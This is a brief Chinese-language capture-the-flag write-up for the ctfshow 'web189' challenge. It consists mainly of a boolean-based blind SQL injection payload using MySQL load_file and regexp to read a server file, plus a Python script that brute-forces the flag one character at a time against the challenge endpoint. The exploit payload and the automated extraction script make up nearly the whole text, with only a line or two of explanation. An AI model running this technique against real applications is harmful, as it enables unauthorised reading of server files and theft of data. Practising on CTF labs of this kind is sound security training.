【ctfshow】- web189

select pass from ctfshow_user where username = if(load_file('/var/www/html/api/index.php')regexp('ctfshow'),0,1)
username = 0 返回密码错误，说明存在该用户
username = 1 返回查询失败

import requests
import sys
flag="ctfshow{"
url="http://9402b96a-bff0-480e-8e33-86347958c901.chall.ctf.show:8080/api/index.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(100):
    for j in letter:
        data={
            'username':"if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
            'password':0}
        res=requests.post(url=url,data=data).text
        print(res)
        if r"\u5bc6\u7801\u9519\u8bef" in res: 
            flag+=j
            print(flag)
            break 
        if j=="}":
            sys.exit()

mysql load_file在数据库注入中使用